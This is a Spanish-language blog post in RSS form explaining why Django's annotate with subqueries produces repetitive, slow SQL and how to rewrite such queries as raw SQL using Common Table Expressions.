      <title>Arregla querys lentas en Django al usar annotate y subqueries</title>
      <link>https://coffeebytes.dev/es/django/arregla-querys-lentas-en-django-al-usar-annotate-y-subqueries/</link>
      <pubDate>Fri, 12 Jul 2024 23:51:01 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/django/arregla-querys-lentas-en-django-al-usar-annotate-y-subqueries/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El ORM de Django es bastante útil y versátil, puede realizar la mayoría de las operaciones frecuentes de SQL, tales como filtrar, particionar, realizar joins u ordenar información, crear alias, y es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;una de las mejores características que Django ofrece&lt;/a&gt;&#xA;, pero también tiene sus limitaciones, sobre todo cuando se combina con subqueries, hoy te platico de una de sus limitaciones y como resolverla.&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-annotate-y-subqueries-un-problema-de-rendimiento&#34;&gt;Django annotate y subqueries, un problema de rendimiento&lt;/h2&gt;&#xA;&lt;p&gt;La función Django annotate, de la que ya te hablé en una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-annotate-y-aggregate-explicados/&#34;&gt;entrada donde explico las diferencias que existen entre annotate y aggregate&lt;/a&gt;&#xA; en Django, sirve para agregar información a una consulta SQL, esta información puede ser un promedio, una sumatoria o cualquier otra cosa que quieres, el problema ocurre cuando esa información proviene de una subquery.&lt;/p&gt;&#xA;&lt;p&gt;Permíteme darte un ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; F&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models.expressions &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Subquery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;first_subquery &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Subquery(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;second_subquery &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Subquery(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; YourModel&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(first_annotation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;first_subquery)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(second_annotation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;second_subquery)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        third_annotation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_subquery&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second_subquery&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fourth_annotation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;((F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_subquery&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second_subquery&amp;#34;&lt;/span&gt;)) &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second_subquery&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El problema aquí surge cuando mezclamos subqueries con annotate, y luego procedemos a utilizar esas anotaciones en otras anotaciones.&lt;/p&gt;&#xA;&lt;p&gt;Django no tiene la capacidad de reconocer que ya está repitiendo las subqueries una y otra vez, por lo anterior, el SQL que genera repite las mismas subqueries una y otra vez, lo que resulta en una consulta con un rendimiento pobre; caemos en el famoso problema de las &lt;em&gt;n+1 queries&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;el-sql-generado-por-django-usando-annotate-y-subqueries-es-ineficiente&#34;&gt;El SQL generado por Django usando annotate y subqueries es ineficiente&lt;/h3&gt;&#xA;&lt;p&gt;Peor, ¿dónde está el problema exactamente? El ORM de django traduce la queryset anterior en la siguiente consulta SQL:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; columns&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...first_subquery &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...second_subquery) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;third_annotation&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...first_subquery &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...second_subquery)&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...first_subquery) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fourth_annotation&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...first_subquery) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_annotation&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...second_subquery) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second_annotation&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; table_a &lt;span style=&#34;color:#ff6ac1&#34;&gt;LEFT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;OUTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; table_b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; table_a.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; table_b.id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;GROUP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;BY&lt;/span&gt; table_a.id ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como Django está reutilizando el SQL de cada subquery múltiples veces durante la consulta, en lugar de realizar la consulta una única vez y luego reutilizar ese valor.&lt;/p&gt;&#xA;&lt;p&gt;Si no sabes como se obtiene la consulta SQL que genera el ORM de Django, te lo recuerdo, &lt;em&gt;qs&lt;/em&gt; representa tu queryset:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(qs&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Cómo se soluciona esto? Pues una de las maneras de arreglar esta consulta SQL es utilizar las Common Table Expressions (CTEs), sin embargo, a la fecha en la que escribo esto, &lt;strong&gt;Django no tiene soporte para las Common Table Expressions (CTEs)&lt;/strong&gt;, por lo que tendremos que utilizar una raw query en lugar de los métodos que ya provee el ORM de Django.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;usar-common-table-expressions-ctes-para-mejorar-el-rendimiento-de-annotate-y-subqueries&#34;&gt;Usar Common Table Expressions (CTEs) para mejorar el rendimiento de annotate y subqueries&lt;/h2&gt;&#xA;&lt;p&gt;La solución es crear una raw query, recuerda que las versiones modernas de django puedes usar el método raw de tu &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/managers-o-manejadores-personalizados-en-django/&#34;&gt;model manager&lt;/a&gt;&#xA; para que Django automáticamente lo asigne a un objeto queryset de tu respectivo modelo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;qs &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; YourModel&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;raw(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;YOUR_SQL_RAW_QUERY_GOES_HERE&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La consulta SQL con las Common Table Expressions (CTEs) que usaremos tendría la siguiente forma:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;WITH&lt;/span&gt; my_cte &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        a.&lt;span style=&#34;color:#ff6ac1&#34;&gt;column&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...subquery_one) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; first_annotation, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; ...subquery_two) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; second_annotation&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; table_a &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;LEFT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;OUTER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; table_b &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; table_a.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; table_b.id &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;GROUP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;BY&lt;/span&gt; table_a.id ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    columns,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    first_annotation, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    second_annotation, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    first_annotation &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; second_annotation &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; third_annotation,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (first_annotation &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; second_annotation)&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;first_annotation &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; fourth_annotation&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_cte;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora, ¡mira! Como puedes ver las subconsultas están entre paréntesis y cada una de ellas aparece una sola vez.&#xA;El uso de Common Table Expressions (CTEs) nos permite utilizar una consulta eficiente, evitando múltiples consultas repetitivas a la base de datos y nos dará un rendimiento que supera a la consulta del ORM de Django en varios órdenes de magnitud (he conseguido reducir el tiempo de ejecución de algunas consultas de 13 segundos a tan sólo 0,7 segundos).&lt;/p&gt;&#xA;&lt;p&gt;Usar las Common Table Expressions (CTEs) nos permitirá una consulta eficiente, evitando múltiples consultas repetitivas a la base de datos y nos ofrecerá un rendimiento que supera enórmemente al ORM de Django por varios órdenes de magnitud. Quizás implementar CTEs sea una de las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/como-mejorar-django-framework/&#34;&gt;acciones que se pueden tomar para mejorar el Django framework.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
